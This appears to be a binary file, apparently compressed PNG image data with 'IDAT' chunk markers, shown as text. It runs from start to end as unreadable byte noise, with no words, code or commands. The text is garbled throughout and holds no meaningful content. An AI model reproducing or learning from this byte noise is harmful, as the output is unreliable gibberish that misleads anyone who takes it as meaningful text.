��*�ɉ�B��7i�ݿ49�{�51�Q��A�������S��X�n4_-�=fXV�`X�[���åcXV�`X�9�AqUTl�Ko��_�r8Y}�*�JƂUҠ�#�յ�Nx�ɐ��@n�Yg~{U���f�$�0�%���#)HCKrD�p�����bl�����E7}��N��;Y���޵k��ӽ��N!F��:��đ���0�[��"������q�%��b�&��Zi8Ɲ+5?-dd�o�4A�R���$��被뱩䚐�n���9e\S��h;ty�Xg/ߓ��~>e��Z�r�|>{}����>5~��>u��?u�-����M�C�~�X���vU����n��v�Z׮�o�;�Яz�~��o,+Aj;z���n��Ʊ����!�RK::�
G�&���bIP��J�:J۔RD��%I���K/}�X,>�9����ں�6�}������:����7>Z^��K�jk�|;�(�v�/\3�:_�D�ǾǏ�ȋ��q�T#ɜqe��@W-D:�vmr=���+>�mx��B�"O�@�9P���5����y�=��
�p} �jp�g�
r��1�Ӭk���b�w���]�0T�~6q��ח}pDw�	�.J�p(��Gw**���
a���6��⻗\�gC�!vJڏ��7�
4(`���'W���#kyk.�xL��<Aq􌃠8:�S��
˕�0.��E8�1�Wh��g�<�,+��V�pc��0y�r$
H�
`� 
���U����VQ״����((�@�U@�$0&���7�X��:��N3���=���{�=��{�s��W���#��2mӧըKA���4�$w!y�L�-��N�\�/�~�H���&��D�*�g�����{�=�����yaXV�`XV�C
pO��\V�`XV��5���*�S����׼{P�x��ec�����D�{ȸ6TL
��1q����Q@��Z���t�Im��
�� AQ
2��`��BX�U��p��.~�?�3�–����q7����ܔ0�:
��č�K��Jl�1����_��Y�ln6Ar�T-�
5��G&�/�h-
�%�qK�8���*3��Y�$�_��:�ڎ�g
n�qt-	@K�Ѱܦ�C}��Ś�C!-�G.��'O�q��/t���y�f�8
�Q��v2�-�"B��V�����w]���s�>��������v�%ᒓ����}�$Y��B)�$�A@��D!\��hmlT�H>�e���VA���z˂W-#��"���rmq�3��:��?�~����8���k����B��g�y�
�����!?Ds�	���s�����0����!%g��"6"����꼤�͗mM�Ѵ�I&J�`�,��4(A/f
�G���v��4��Y��{���0������P@)���/~���9����B�Q���q>$E��9@1e^'-�:jlx�&9��9�i��=$#S��~)����h(�&\P}ENxTV˸�겑#���t�O�s
�>j�I
��8.*^R(d^-R�.�%k�&�r���=жr�=w7Ds>(+�
��+�
�cL�=��1�8�+�
��+�
4XH�P{��~���յgM"ҦNI߇K��19)�I��?zP�z�L'��t4C��E:��^e
n�/6q�����
�)��0������w�9�^��Y1m�����w˻�=��N�_j��c����Cܷ��1w�u)��\.p�=�\vۭ��9��v457����|A;�|D�U�Qh�R�)�"�jg7�@#%zp��$2
.�E!�E�t�3@�.6�	�df
n�qu�l���M����N�~��GL��ȅpH'�`7��&M���g�#i	�@ǦDG�_��0�,�*���v޼yN�0a���Tgg��$uL�J��`���{��;V����+T,2DV�34P�2$"D�Q^;YEŧ�
pC��y��*,��6Q��*�i�<1���fx0�ʃѯ)�벂��ڒ�o�׋��G�(b�Ͳ���.J�2�s��:yD�a���<j�Dy
U�1@��j,���
���K#���L#�
q)uu��ڢ�7N�H\zQsZ�5�9�g��ُb�bb���c����Г�^X����-��Ů׳G&����#�ZRO�p���
,���L��8eS}����ozʠ��`2��D0\À8jx����䤍qz^��R
.2�S!bG?�;.9<��T,��r4y��s'2)���K�
��+�
���T���1xQ�H�+�
��+�k*@P\�
��co����g������Z�Q�����*h�!��L��tt�p���ܠ��E���3F@\��g�H�8=�X�6����vԴ���
:�l�Qx�-U@q������s�����1�t�{S�xh��!nK�ܙ֧�ƮK��'��N�=4�p�׌�l�	��455#��²)z��H�maD�d��–�Y��j��+�88��c`dk~#h���8��7���̍ņn�5�L�ȶ�8�MŞ��2��k�o�:�'���%�2�NU��?�w�>�[�;��E;�QjG{�q�
�Ѿ3���|�3��>r��6��Q(��
xq����O�4��#�<�\.כ��E��ݤ��
���=y�;g9}3Dyl'��OT��
.�U���Q�;Ε˸} 
.$�d���i@>FK����s/�����ٽ�l���^�V�z������⽙uO��Uk(tDӄ6C��C1��	2�dL�=Y;���y���>
��{mu�����Z�
Nh
����H.�`lX"�-Qy��v_��I��u�h�L������R@�UZuՔ`�_޾n�m�u8}�Q�w���
�!՚�\>�0J�Y��;ņR}n\�B�I}O��&6��̓�T��ָA��<�Kc�uC2ɩ>�U}��-N�6F����an��
���n�s�/r��|%0})�pc���EaXV�`XV`��{�K�
��+�
��+�
(ޯ�̓ѲSo��G�*c��Q��^��p-�Tj�X4#�
�Y����Q
NG٤I,��(�F�R�CnP�Y#(֍2E�(4�?���n���
&�o˱x��W@����/x�}nj�r�u�yS�>�@��븳�i"�P|���.��+�|O�V�R9z�$5LA�C�C�Q6�b„fضԐ����F	��>lAQ9QYi\�m#΍��4��������`�U2�PqF�����&{-pmFӑ�#��ؾ��n��W�CN8:�\C},A
�q�q�)��,RZ�8�b�e���}��Ġ�R�h�>��j�b1�
��m[��:�G�N��ġ���u����Fi��b)�"o�u���Bg���hCs�B�2��-�PjOF8	x1h���V|>��q�&��6%�Н����6��/�r��B��￾
��%��[�=z��ݡS"'gQ=i��L�
��c��Gy&�.v�@0�D,�Dđ�O�]4�x}��{7@�;%|I`2`+����g���`KTPY�Ǥ����=���g���ll�!���5�Ξ虈��;w�3w��EuP�^���R��BK�5�p�z8�S"(N@h�8���h���`\Bj&j�8$�X���.�Y�n#��6���Hu�Y���zR�%�j$U�n^/;�<�6�}�Ý�HQݱ��GcXV�`XV�����x]V�`XV�`v�qT�=���'_���=��O����r�1S�D�+���k
���ND�Ziw���x���Myu�BrA�K��B��lк�S?q�l�xV��1�-bo��jh�D,��e���W�/w�����Wӑ�߾�#Զ@̝h��k��u����~{�|��̖A�u,h
��|˜�N#c��F�Y7�b�@
�v��d\X���,�P��ȉ���XR\*�[�Qu�1�q�ANǪ&q�*���6␧�k���ߛ��(
��Z�W�w6�A��I��tI�jMt�J�=�!���#w�$v՗���}o�y��(��|�A/��>/
�4� �zf��{[�o}8߷� � L�E�v�%�\i
F'd6�_d'����S
Bd.�Mq0q�#��/�{���Bt��'�Z)������K�'Ow6C���	�B�G�m��S
N<A0���#�"�B�c�q&�e�+����
��X1�n���G
r�
���RV3�zz�_�Xdg,���#����(��������:/�<��+-����7!3�Q�F@ΞJǏ���Ν�FP������6�^�Q58M&�M�.GD��&i!��S�K�_k��8�[�u�C�q���S������}5�ֻ��as>e�+�
��+�
��U������GgXV�`XV`�
��B������9���}AO��	�c�n2�V&Cġ���4��tK��J�:"w���x�"�Xc�@\��"d���}��N�%BC.��+�T�,����o���k�':�&��ξ��#����0��_��y=�L���[�qïB��N��Q�'�(��ldžmӀ�"�7H����tS�~�����2���&�Ay�t@�Eh�A}�J1��A;Ǚ�86.rf�?�e�����F���G;����҂��&d�Y
���m�
GšR|*pJ�8�"ϲ�^˲*q�>�y��
�s��kmm]�;�v���R*���9����{��|O^F������=�xr�b�lֶ������zqwX�m�{��s'��F�xZm?��Q@�5�x��Sj^�Eճd7'̐�[D���i�U�&D��S�j0

)V+�ĥ��9�]��@y�IGO(��FqNdb�}I1�
��A
3�R�~/O{�w߉���	1L��B���C�
퉮޲��;�墵s�x����؂�5������e����3��B�]�4����c�H�8���j*z�r��M��BO���8T
ęI��o+�0�Pp˽�'��O7a�����͡y||"���+�
��+�
l_�۾z��XV�`XV��n
WA��A�?�{���_�t�|��41}y@e���B�h8B�-臼ء@	h�h&,E�m�"�r;�@���aS���)q,aé6�I/�����a�U�9��>J�/b՟�X~���M�-�b���>o��;�݋x��c�H۔z��~�?\�?�4�!NbaY�)ű��{~�K���$
�'���J,(�R;�5�(�{�#!�^�A�D��
�I�4��o,2aAu3�x�:�	)���l4�o۶v~��9moo7_��A��I�Pu��mk8�>�RIe�Y����~�P(�jު��>�����>���!nPQK߯�U�۱�o��{՗ÕO�Q�l(�E�V���#�B{$NQ��ؼ��=�4��`���p���i�?
D3����!���^���/�������䔖uH'�L�%Ič\1c�q��c�	�)
��A��7��(@ׂ�7z�#��A��nDsB#�l�H����'3�o���9��y\Qi@���+��
�z����gN]���,�5��\�6X���C�xde�8Y���I�5Q�}�Jm)�¦~'�"ج��2��	�����2��&�i�Q���I��c��i�brq����	��O�{��h�-p�,t��`XV�`XV`�+�@ܘ�D\@V�`XV�ؕ�ȿ��D/��?^����U���D$	���ė�q"0@��u��&�4!J��
�XK�+뻥�n:J�~���u���&���ݞ�����4�)][�o^��@ܚ���Ͽx�Toɔ����M9���뻁9�^��R���8����X�~�Z$�>�����٤ae�@H#$Φ��i|C�Y\[BB�qj�M�m�-��JN_�|^�RT�jV��G���(^��i��
�P�c�^FGvֿ���)�5]F;���&����;z?��N7�?T+�݁��4���ع�>�W���"�wds9��F
]w�"@jP�~��Ğ���u�i²��e2�~�n���:�O{�i���'�:�?utt,#'8��>ئ��kKg��?�Nj~sjS����>Nl�o#i@�M���k����:4I@�tU)�������>��/��ߑ�S��[)�R떽��֯}*��aB
��:m�P����~��$����q)�H���6���z8u�#�ă�b����끌��ȅ���q���M�������+DsO�΀��
����v������'O�~�w���^���d��9����J��8rZ���"���x�RbM�$�O3�pxR��b;���ʔmℯ]��4%����8�ѭƼG�G/ZJ䚱�_tM=|�/�>���Aδ;�[�v��w�
��+�
����T���1yY�P�+�
��+�
�(@Nq��.FKO��k��$W��R��w�!bJ����סH�$^L��L^
�3Dp��@��#F?���Pȸ��Xw�Ɓ��V��Cv?��o��]��m`��[m��[�C_����'WLɢ&�`�;��.��d��"w%���5��m�Z=3|�K>���X*��=XK�}�]���b(�w[�;M���5�*T�CM
K�o:2G�j!#�Q�
�����!40U
�0�Aֶ�G'mK�9�Q��}F�6
LQ�������n�82`s�:�~t��m4�6�K�Y�z�}���e
�m���z��K�8}���k�V�������>"G�?r>#
��Ο�sG���QYR��7����Ţ�N�jUq��6��>h;�O�}���w�^���|���J�U�wޝ�Zm�1���I�^�f�Դņf(w
OW�V�ѽdn�ί)X���\�.�(DV
D�������QYč�:���N��Q�L�vW��a�G-��8[��y�m�?~SϤ��9�������e�K�YT�33��=V���ΥD�"(�8Y�U����;A��j^g��F\{đ���I��('�5��!�g7AE>���ꗝ�{�'��?��E�ui#���dX�-S��ݫZ���Cz��eQZ<���/D�rn+T$�@<��A�4���(�B��!ݎ"�Ord#�5�j�0�򌻝D�A=�tM�4��BHm=[@��]�CE�<���Ц֖�߾���w��w%r{��cڷ�3�k��+�
��+�h�$�����+�
��+0�
�!���So����*��P��CY����,��zIτM�6�2�<�m����
DֱE4xg����'<�Gw�t��y�v�%��-S
nɯ�v��q����*g���kN`
n�%�)6P���o��w�K;&�j9�dQq�1�ToU�������	Te�S��D�(Lď�O��E##�G���@Cq�U�Y��!
��BC/��Xۂm[���Ӏ���a)��1Pn<3@s
��������0Y=t���)�nt�6�m�ӯ�#0_z���"mSNy�e���t���&
���W���8ƭ-�������Z�j�-�͢P(h�����=DZu�.�MNp����T*|�u	���h�t�-�/à��e�\)�����N:iass��ӧ��5k�_�����n:���b�]_�w�����3�`Ũ�tD�[ȡV�A�,}��)j)>�z��ݼ
IDATzKa8SӍ�O�{�q%;im�Ag�o������v۟!E����9���@�{��fe	v%�!l�}��(�F&�hW8j��w�R
�����hҀv��4Gq4a����V�@	���P�zT&
<��Nyˇ�/Z�|rǗ���
�[�M����≷�/x���Sol���"O!cez!2�
�ĨU�
]K;��\�t<��чU�(7<QskJ�mۘhT��M
=�����8c�����"V�n�+hn��u}�P~�!O6x�W�r�B��m+o�
��+�
��+��` nG+��cXV�`XV`+
(���U��o����v�:�-����Z@�AZ9ݱ�g�ꁣP��5�p�c
n+/@�
�Ay��d�FN���;N��g��OyXP~-/;L���ſ��ӽES��&J���N@��!n�]��s
U��!C���X��A��
j"O8�����YtWV�zX���l��"ʪ��U�g7���-GG�F�
)h��x�P!(�
8����b�P�_$!�InW��cVm����8EdQ�>9)l��q��MG���F�m��M�j��aM�y5��W[���t+2��������H�m��{�H7F
����`�~���y���a�"u�kA?�o����zt]�o�\-��]C˶��))Iq��
H]�r�L��\6����O?��������x���U�L��D��F��8�m�vб�X�Œ�\8p���/�={hs�wk�A����O��q\�a�N���d�)3q���si#N�o���}�u�B̨�n��o�w�_p��[~�a륇�nS�S�
+&�\jӷ�c#�W�`��#�\�5t�O��.�e�wB�G1"R���I�AbH��������i��٨5�
}���1�OS8{>���
XV��
(�nV��ֵ��vv�ZwLuhM�+"�<�jGR�H!5����Ŧ:[V�cS�7b1@5@�>B��JGq�؆�)��i��<`z�@�2��`\��l��3~��}n�����썸�|LV�`XV�`�U�UAޞ`XV�`X����%(n=�=?9��Uo�~�Wd�Њr���f0Ie�@wj(#��`a;\4���-ʒA&�K�'>tƧ/��ÞB�����T@qk�=t�5�v��P��_�m��;�j:���~�'����v��H���X�D‚��Pv>��P�`�CWYbE�UC
ݾ���jp..�LN˫8BL��i78���
����n�	��uo�C��R�S،��Rȋ��!�:�l�Z�mG�ܘ[����H7��)w�W�4�կ���7�d'��돭�y��/��H�X��(�5_(@&@"o��p�59�ѿi;z�~m�4GK&�A�TBSS��<ϋ
�B��~)�'�\w�i�-�p����W��mii��d2�G?P۰��n$������[����m�pM��Z����C�L��F�%��z�G�w$3�2���rwa��|�ݗ
AT/c]��t�G�_��������*	Gy:N��	X����&48a�RɅ��}���@\�.6M����b�eE�K���UVG���G��m�2A/<{V�{������O��;۠kȇe�F3a�w:��9y�n8��y������KQ�f\���AY�Mu�"�m�V�i���
�_:�nA�Hn���q�z�c,W�WUD�YD���G-�O=���1��k��wU'���6�+�
��+�
�%�KW���
��+�
���f(@�%�:<�t�����{��(T�@²��#�T�P?=�d|yhL�1�s7����*z@N��
NI�a���KN��}��e�,ݱ�R)U��߰�z�L�⪢l��C�s{�ob��{=���tL[����ׇ��!�w�^��f$������B�F���MCk6b�
�.|�C%΢�fa�@��}5��
��!�u�"r�.8�=�2nb���T,r$�V�B3����[
d����U)���c;ӥޱm�k�r���h���$pY���ߛ�
�56���ml��P�����T�7}#}��mk����2��!7�ı�\�k}�*�N\z�h;r�}��q)z_)��Ţ*��~�%�q��8^}��?�n��ɓ͙3gAss��=$�0��lR5�vb��o����]���Z5�ux9�P�U�#w֏�����KZ��3n�1<�:S��~ڇ��Ag\t�*��\[r���~���sݨ'��5d�O$�P�"X}T
�1�ѷ=��q�1?�4@�<�L@�o&]��/!r(�ӿ�5ˁ-c�^�N�exz�}�˘����ձ��
l�&>�{��׾wbS��hpM�
|Y����"e	`�Zu-�~��s�����Q�SҴè?L*E>�6>���
��	D���߼x�O�3�������7cXV�`XV`(�@��\V�`XV�`�Fr�Z��G�p�/�X���y�h#TI�F2n
�J�݊�怼�V@�lh'����H_�';���]'|�=؏f����(�2�{l�EW~�73��5'[�U����C��c�PJu5a��o^��w�4��)=iI׊���D���M�T"i�7�9�[Y2�P���.J(`Q���@�J�r��g�[�2O��K��t�
�D�v1#�*53
��k��W������_�r�v���{�H��v���Ǧ��M�ws��0�������u	Crk3@œ�S�"5�k�lvx�4�tX���]�4.5�R(�8�Y�,��0�2��?88蹮���s�}\)���hڴi/�r��E�lY�����s'����?P�{�L��>c�����G&n���i�z
N��&M>P���JV{%�z�o&����Gv�G��5��,�j+�£7��멻>���ӋVNX�-�ĕ�J�En�)GQ|2�Q|��AC�K��_Zz^2@����5��q�(�вgY�d'�"�'`����{���_Ĵ#-DE���
��P�V�QY�����{-���u�ɖ�G�وu=���x2��]��A��B,����5�q1�(
��d-����um�����v�Yᾝ�^A>:+�
��+�
�۪@�I��x{V�`XV�`vQh�n��*Xs����¾xٱ*Sj�dEGV��
`X
?H�Q7�j��j���M�Ib�HA��.�^�k���3��w~�	����mUz˶WJ9|l��W\v�to�̬������#?`��-�s�X[�ޙ��~n��~���RF	%|�C���u%"JkKjC�)H�6#��]g�zS8D�r�+��F_M`�`�5�*
#�D5�A`Q܎�X�PϪ�W�}	I�W:�)D9�p�a�W�x麴�h�lS��e٘�\��6̍>VL@[�C��G�~���ܰ۩^7)૝[z�J�M�p��|�%�M�V�QgGg�����8�`K�>��Q-�={���3g.�:u*��
��(��a���F�����;���p�C���;dX�gg��1,!_�;��G�-�@
�Q9�Ka8r�+�/��sc��_-�37��|�-S@�+�=���?�h���Ӛ�!Ho��#[ߏ��m�`�s9�j����`���2ٷ��T����*t]L�V^_��0�P|��U7�QMXn�����|��~�S^ގ��]���T�ħv0�n�����m���2�����E�R���4����	D#gkzZ'`�A=P�
��@����ѱ�vd��ɍ"Dͯ"ιq���}n�8b����xT�����+�
��+�
���8V���q|��+�
��+�
P�d�I뢥'���?;�����l��[φ��H��P�$�#�Ծq4�T'�~@|E����uh6��k
Nw�>ij��������N���=�uy�(o��A�Gq�3��ק�Z}a�\
�9����G�<��3�ؠ�Ӡ�*o�xꎋW���ONF�!��f{��F�5��c�(
�`b]�5�@
�Ӡ�v7�@"8	zY�!��,`u��^Ob�P��J�R(�k��\���U3�@����ѱ�
�C�yj�Inw�tI�5+%r롶��&]�nS��/���7��G�֯��n�uM
u��u�ҫ9���һ�wo�?���S�چ:�a��%,�������P��_��t��hֺ���s����2B�aX�m�$����SN}��X�ӦM�={��S����j��l���p�/�ԚN�������O�^@	�Mq���q�O�����3�,q.6�����4.�*�Ǧ�6E��}l���k0}�]B����8R@��E���[�V<�v�O�9���%B�	&��Cݫ#@z:��s�K#��a�
j�0pr��83� ���ON��
j+e�mO�z�E?Ƒ��L~���c����Q�@qȡ��S���弨���'�jSD��"��I?���xBǎnw閖v�N[^�]��$��/�NI�H�y_�b�[i��d��Gz�껮̍D�v���l/c*�@dŠXWjPy	���E��XT]���	{>�y�;~��}bJ�Q���
��+�
��+�H�k��|lV�`XV�`���WEu����7����.��x�`>��_,��H�Ы
�K�A?"�5G@��VL�7�d�o����tZn��]йS�A��X�u3~��^�3o��_̝rď�)U�v��@�3��L��,�⚣��^/�v�NE�a]��~��(�*K箿��p������]4�pL����0�	��dp~NP,���D
Y�!�KJ$��Y9�2�Zla��g���2z<+jM�XM�1.�`"V#e!$�'�X	D1��˥c;SW8lJ_����u�E��ՑHU��ѯ�H�3�}r,�W$7��8閛��fK�<�=�(-֮P�o
��ͩ�c�j_M:*WoK�"
j	��q%�p�(�����А��rq��뺽�j�V,}�-��>��S��r���������{U{{��|>_@����W����7|뒦5�����v}v)�J���;�ڒ
��#��q1�!T@h�aф�_Y�rS*���o�v�ׯ�=�QP����V��ix��V�_hV�K(۶�00u�E���zB�v��wI2ߌ�ڟ���\}B[��
A��YC&��V@FۆG�i�Ĉ�&?�~�u�}�*�L�1�磲���T@���`����/z�M�~�D
d���F�Xy�I<"�G��83i�"K	�%�I�H�g��}rq3
2]�@*�{�d3�)��2�\گe&��v���Gˁ�lı�#虃�-�bK�!��ja��S���C�ν�X�}:��S�bXV�`XV�q
0�8�Ȭ+�
��+�
l7���{rV�?�`Y�?�&����8���PQ���S���=��K;ҮD3��q�',�Ul���0.����?�x���oBPd/;P�=:s���{`Zm��B\�9^��p��}�tL<z��߁E�C5XU}ᄞ���ڇ���}�G�,�^�B[^�:ǂ�W�è�&g#�B8���k�7X��&�	�
��4$7X�Q�,�p
�H"�. �r
(nUA!�lAs�����$�%0[�$7��(��J�jh0q�4��ꪍ�tRK�/�&7�J��&�F���T��ޫ;fH`2
��e!"p�F'�S׉*~)�������B����V�<�3���+I){�:�Ŏ��{�W�c�=�͚5keGGDz|#
#�F��o��
(o�~C^wa��k?���d!�/�u�#��aj�~��mZ�[3�M�d�0���v�t�*b�	=����<�*y�{o�΅c䔸[��R*��������u?w��Ur���X��$��g
�
r���a��q��1
�R���'y������
}ǁ��
�qK��?��pf=И��QYV`{+���vt-<2Z��s�,~l^GQ��Vd����8�dke�lQdܶ#+�m�QĪ[n��g{�e�Vu��&qj
Zh
��)�>�=��K����gi6���������;�L�lu,�tę7c�a?v��t��cXV�`XV��
pOB��C��+�
��+�=��AN�}���G�]�G��+��҄J5�-�Y�4�6��H�:tdESd|�PkQ_��L��y*cv_�
!!5��
'���p����j��7���/_������?�����(��ֻ�/�����c��KT��ץQG$@��O\u��?����95Oe*	[��l��T�FHGRG&.)ơ�D�Ҡ
����o�[Gj/9r@����ʡ�2��K1�<������C�|�G+������r,G�d�D���@a
�	�{T�R��;�8+��=�@�qd�~0�F�#G��s����Ե��5�˘��Ǭ&`���Ll-
��˰�Cr�b�ʳ2����q�
q�st���e�P�>��5K�ʎ���X抽g�}�B��j��{��	������V�aX*
��L��5�˛W
�l�ڧ߲���\�,��b߆"���Q\8>�V*�֙�NL@��6���%�!N!]'e��1ێ����q���oLz�Btmex�+��io��_����ٍ��.�Ksq0M�i�W������5���u7��R�E�a������s~��~$���mT����+��PjmCkx��O8Յ'��/�4gmK�,j^�l�AɄj����f�M��$�q2N�(�@P�o�W���yn��M#�����
��\�xUr
�6�k��ʁW�fM�L����aٚ�džo���m?���9���{dXV�`XV��
pOB#��c��+�
��+��
�݅Z���[��'�b�Q�Sj�EUd���V=��[a:!�s�D	B
V`�	B�L�t�r�~|��_E:�>¢?�����<�0�v�Po��R��LY��/�Ժ�/��|y�Ι�h��}�����pgZE��=c�?��I���6�|�׀�vx�J
N��yեC��.Kby(���%�̀�<�v=����(a
���d��GdȼvE򐃇jp�s\�S({�,c����[��}Nd@D1?�J1�T�[�PG+ak�@Czz̚����N�7��l�Ad)%��]@;�%�h���l*�T���j�9�m�EQdV%��?Ld��A�g�B.�a)�V"]Cd�y�U�i��g��@�/�r��fᆲ��s����gY��b1��#
�3l�DZHc�����w���/9]O���^N��,�}��Nq�$��}�	{%o�B��
NART�6�E�p%0('��q̯&����Gn�?�t���+)�l������7'�oZU�>b����
N�)��K]�v�vH#/�h�Mr�a��Ӆ������A�+����Kvr{���F^E>6+�}Р3���������əp�Ӂ;�A��H�r���JM�-3�G(zO‰	���%L�Wz�Q
�m��*ȼ���Ɖ��;���JLN����O���q��]AEV�w;��œy?�|Za#���+�
��+�
�4
pO�Ns)�DXV�`XV�0
7����N�����/=�n��+q�gNJ�")W��F$N2�@4��I��W4ܜɶ�%�����@
-X��[CP&��o�ҷ�ŬGwIa|��X0i͍_����o(ă�r�+3k񬋿9��[�q
�H;��J���8k�>}�$�7G�4dl=7�P`jF�PP�>��\4H�:j
�"�6I��4���,#$ �-�b�H��U�4Ȗ@x�
�Bфj(Q�B�|�j�$��Cǭ�V��#�@8��rt��i@O�mt���.���ͅ�4@�]�HcS��^šK���[�)/͈�
IDATq��;�C��v�K�k�q�"���7Q��8���#��|�Q
vX��(vl;.fdܞ��E1m���;����S���vh%�7"*"�߁_�m<��-ߣz׷?6��o?�2,Gfm�y�F(���Q<���Ua�>W�o�n&�ƒ�Z�S���o<�z��kI#����~
(�(����W_���5.88��8��:2ud1�������{�2�[�L�J��k��Xj��0y������h>�a�yaX��H��^����_o��_��)E14qՎ�6��g��bVDQ��
�BI���4,�м"��e��]��g�pIa8�j��wr�H�j�2	jKHĵ˂�͠F����;�9�d|D���+�
��+�
���Φ��;���]I>V�`XV�`��ٺU�L��򓮿�ʳ�v�	�a��@�d��B)��Kџ4�Aq���Kc�0
^�aL�"Q��#d:0G�F
[f�Ԭ�Dk֯�w��]����@
ĭ��+�V?rp1��{Ȫ�̬�3��392u�_�FQ)U����^v�>3�[x`&�G(s�I!��)���I]
���;裭���aS�&�v@0��ژSň	��Z��9)F�E����f|q�;��8v����������".|��+�e_��G��<?�Ky��qb
��*q�K�3X�ӘZ�tG�\D�`
�9�$5q�s����/�4Xl�(&��F��}�Rig��#�ud32�
G*�MY�5o��u�m��z���r�2����K��?���k^�1��RC���o_y�U���Lp�!5lb�xw
$@����L��z
��$p88�Fl�S�YӺf^t�?b����7�Λ��:�Ϸ����W�=||s�~��i2�_��'���L�aA�����5�z
H��$Ľy��:g�c3?����蛄�F��`^?�RyԞ�?��3�?�}�z�'s��ʁKH�L%�i@�U��D���}P
+�}�T�����at�k~��V�'g,�5�
j�I�
��'E��wCk�w�vƯ���B4u�~��YV�`XV�`���;��H�ج+�
��+�
�hЩ��i�X{�M�^���x�*Wr#Q��cQ���cRP�M��Cb�P����3�p&>�.g���:��Ei`��x��\��ڣ�
7�{�G����V�w�Ҥ@܊�vkq�#s��޼Wugf.�y���1�dv��5>
�,�l��{�[~�w�yR��^n8���"��"��22�(6�����Pbq�cg~��
ր
�P�J�����h�ɤL�B9���@z�Y����8�Q�˴�L�Q).��6��)N����u���
��(R�*� ���B�
�%��8ʅ19�@�sg�'��8ip:�̀�vs0���,�����8�pm�~[J�ޔ�R�t�D�0��Y���}��P��ʀ����$��-��:�V���r�����aŽ���[7����$JV�l���e<*@�,��~#qƱS�R��g*��(B8���Z�/L��{��ٝb�(7��q����[���_���:�53(J7��$25u_Mo��ַ<��g�}�	�,���#6ѩ������z�7��̹��>�)���
�u
(����t����=6�ծ�neI.Ϻ�ɘԞԞ��{�@dq
�n��"�����E��~VH"�u�(���8�Q[)�mV!�>��k���*Z�y��󿇩�>��r$;�YV�`XV��y`
n罶|f�+�
��+�
��J=Xr�_}Ywm�~*[*D"��Qǣq[�
$q��h�J9��r��ԝ��"m-P2ί�FXbiKx�J4���M=�W����D��q~���{a���yCq�#�6G=E��vf,����_�)��]��qyr\�-V@Uzf��/|�wW|lr�z�
A�y�al@�m���@iݚNåM15��m"
�%�6���>�p/2G�zVQ���RM���4�f���#��D��0�MN�*ґ���u�Y
����1���ӛ�4xB0�H��(B��V��h������8Y6�%��4hE`�C�M����!�sIT������%N�yB���8ʑJ�"'=r礨E����.�jq�3e��#?���=���m���I��`��_}���ʇ�L��
Ad }^ơ4�ę�T��l|���z5�Bd�
��Ǡl�N�{�������$��i�qx�GY)�F~Ѫ۾����9��e��G���>�8�����ն�)����B�+�?��r����M;�?�ƞs�bj�Nx�|J�+�������9���_Z��-r��Re���h¥i+��}e��l�F	�=��Q{
���ԥ�</$�t���\2�(���/�`�>�����\
��[x땘q�@�zv��/+�
��+�
�;����חώ`XV�`X�@��i�
�����Zv�'K�L6/j��X���]�+��\DA
�8U�I��g���
0+B�En�陓>�GO>�Z!��4��58QZ�1p������[Þv�F�v��l?�ɽ��稵�^�yt���?�pѪ���Hg�n�!�6@?:z�
�M`jB��A�*�e��N`8=0c�&�#�ކn����N�0,�'qwK��C�^��u��F[��'_�;�p�z`{�x���_�sd�‹j���ni)G�h��T�a�z�t��s���(�a�"�X�Έji�^���y��G�퐗q��R�&�q������`G@��q��vz�����$2�p�LΐNXA�豦��|ʇ��c�!&��g�Eވ��mp�ܮ�?����gNR�`����a��}��6�$�r
ߖ�7_��)��L~y�	�^+������q%�#����P@)�`p�nXv��]�:?/�&��q�J
���'�X�ФK�<C�E$hR����u[ɴ�#v�m'�c	�^M?S8���)�
�����Z�P����;�z������
��+�
��+�S+�@�N}y��XV�`XV�0
�'��a�)w<t�Ń�c#Q���%X��"�$9��`�a80��v:�(�]s1N��Y\�C�<�O��񢟽����h�5ui�Y��������?gkԽA��UO���YsO�_!f�6��|���R�����{�=z�ۢ�N7�h
��S4���՗A�R�*�WIj<�LjR��cs��^�#�=��y��N��¥�r#�&��l���	�ۘ�#���K�>�,q�3~v��t&��U>���y��9	�&ʵ�$�Β8���)�S�&�C@��ѫJy�#z'/��=`�q�#-�!����e{�������Ck�ޥ���t�׹$��mV@;ąI-J.�v�!�w$���.�UC�4�=�=^�<�c�`�w>.�(msxcB��u��w�g�����SC������c��\��=Ⓕ�.�����f�8�6����u����'��kq�?�ݗ����"�����������z��ޅ���rY�u��_�"�8�����F��B(������R�(�9ih.q��	���6�pK?SA�[1��Ѡ�����؍�B��o��N�����{�?�{V�`XV�`ƈč���`XV�`XV�V��J(u��^z��\uN
��܁��`��yT=!)~.��8�jB@��Y�CCwi
N������y�*��ԏ^��u��B���}y��T@�bi3�����Emq�lr�Z��US���>o�S�0��|v��bn�]����{�ݦN\EHQ�i��6q��@�{[�Sč"��N|���@m)f@8ڑCն)������w�K�U����u`a]�*m?��%M�~��tD'$<Ҧ
��sS����}��{�6�3���}�A�8�¶b
�aI�ʣ�r��VMy�E?�Q�����p����R�|��u�|�K��!��Z��Y�%M����1'��A�|�@��
�^��;�/���B'Uf�<-��S��}퓽���698�Q|غ�@N����g��E��k��Ř����?65��>D��Zk��\�q�{��Q�_)�{,l�I�QYV`G+�'��K�Ǣ?��Y�����rNs&��@R���C����ܙ��m�yz�Pi;������Jm/
���"���i'p�.��P�g�ڀ*��N�����[���I!DmG��cXV�`XV�h��5Fw>*+�
��+�
�
Q�:%��N���n�늳�l��Tv�u��/�Z;1X
 e^e���0�Dit^CN�� 
.R!����rȖ&���/��D̹�ls��������~rQ{�~�%�.ٹz�[?�yq���4��4�*x�տ��K��>�5t��ClY��Kcy�sM�6�:�h�ݧ��f�x���*�.mi\���.�5Ց�V�նT�8�6%���R�9q��F�L�)�n�&���b�0�����MuO��$��2�%#D^�eC	ChF�3e�����bryKu�ǦJ)�E���c�̬�8W��s�ؼZ�Q*]��k�������ę�b�}�<���&��ŋPܳ�]\��U�d���k�_o�x�o��h��>T����l��;W�}�4�Υ�X9�Ѯ���l�K���l��2d��g�{���y��?���oc弸�+�+�'7T����}��Duٜ�l�a
���E�+��&I��p�!�E�9T[G'0\�RO�-���X:�c�焝�˾�0���3�}
�bB���|V�`XV�`X���qc�Jp9XV�`XV��A
(�gJ	����^��<ɷ+E��C��ȥ%��%�tLnj�c|L��o%
cĢ;�"[������+'`���mc.҈C�o>���_���m�^{��7]��8z��5��4�*X|Ҋk.�$��s�’eE5(�y]R=��<W��G�&�X���0���GƋ�)�n���q��t��{���F�:��@����o�j����d��C�H4��0v}���a�[~m���ߍ��%��4ϔjC�8����P~¶�Ā5!�j�����w����&o���[hg��ڙ�7}��X��S�7��	��e�)��%��"�P�y��{�T�"qM�t�h�ο���K?
